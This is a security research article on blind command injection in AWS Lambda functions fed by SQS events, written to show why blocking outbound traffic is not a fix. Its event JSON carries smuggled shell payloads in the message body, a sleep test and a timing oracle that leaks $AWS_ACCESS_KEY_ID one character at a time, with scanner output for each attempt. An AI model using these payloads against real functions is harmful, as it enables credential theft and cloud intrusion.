Blind Lambda Event Injections without Outbound Connections

Serverless functions, like AWS Lambda, have similar injection opportunities as in traditional applications, API's and other components. It is usually difficult to identify blind spots and exploit this kind of vulnerabilities, though there are various tools and methods available to identify these blind spots. The most common methods to identify these issues are timing attacks and logical deduction scenarios using AND/OR operators. In many cases, we inject payloads which create an outbound connection and send data back to us through some channel. This kind of scenario confirms the vulnerability and can be exploited further. But there are cases where outbound connections are blocked, and the application does not send any clue in the response for identification of the vulnerability; which makes it a blind spot. The below image shows both the scenarios: -

 

Here is an example that we covered in an earlier post (here), where we injected a payload in the event stream of the lambda function and harvested the access key using an outbound connection.

 


Now, let's assume that we don't have this outbound connection in place. The lambda function blocks the connection. Not allowing an outbound connection can be considered as obfuscation and sense-of-security in place. It is possible to identify and exploit this type of scenario by considering it as a blind spot. Let’s try a timing attack to identify the spot and logical deduction to exploit the scenario.

We make a simple invocation to the function with a legitimate request as shown below: -

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


When we invoke the function we get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 72808401-cea9-11e8-903a-4506277d6e70
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 72808401-cea9-11e8-903a-4506277d6e70 Version: $LATEST
END RequestId: 72808401-cea9-11e8-903a-4506277d6e70
REPORT RequestId: 72808401-cea9-11e8-903a-4506277d6e70    Duration: 56.36 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 26 MB 
  

The above response shows that the time for this execution is Duration: 56.36 ms.

Now let us try to inject simple sleep command and see the variation in response time.

{
  "Records": [
    {
      "body": "invoice-98790;sleep 1",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We have put sleep of "1" second here in the payload ("body": "invoice-98790;sleep 1",)
We get the following response after invoking the function: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 58d200b7-ceaa-11e8-88c6-675555b6bf64
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64 Version: $LATEST
END RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64
REPORT RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64    Duration: 1123.26 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB


Here, we can see that it took almost 1 second more in responding back (Duration: 1123.26 ms). Hence, we can easily deduce that there is a blind spot and go on with playing around this vulnerability.

Since we don’t have an outbound connection in place, how we can get hold of the AWS key like we got using curl in previous case? Hence, we need to deploy a deduction technique and try to fetch it with multiple attempts.

Let’s try that out with the following payload in the body: -

invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi

Here, we are getting first character of the key and comparing it with 'A'. If it matches then we should get a sleep of 1 second else response should take regular time.

Let’s pass this message and invoke the function.

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following output after invocation: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc Version: $LATEST
END RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
REPORT RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc    Duration: 1108.62 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB  
 


Bingo! As you can see we actually got a proper delay of 1 second (Duration: 1108.62 ms) in this case. Hence, we can say that the first character of the AWS key is indeed 'A'.

To verify, let’s send the same request with character 'B' as below: -

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'B' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> becf34b6-ceab-11e8-aeb2-17378d1ed705
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705 Version: $LATEST
END RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705
REPORT RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705    Duration: 106.76 ms    Billed Duration: 200 ms     Memory Size: 128 MB    Max Memory Used: 27 MB   


In this case response time is far less, approximately 1 second less (Duration: 106.76 ms). Hence, we can conclude that the value of the first character is 'A' and not any other.

This way we can send multiple requests and harvest full value of the AWS key without any outbound connection.

Conclusion:

It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying "post exploitation" solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.


Article by Amish Shah & Shreeraj Shah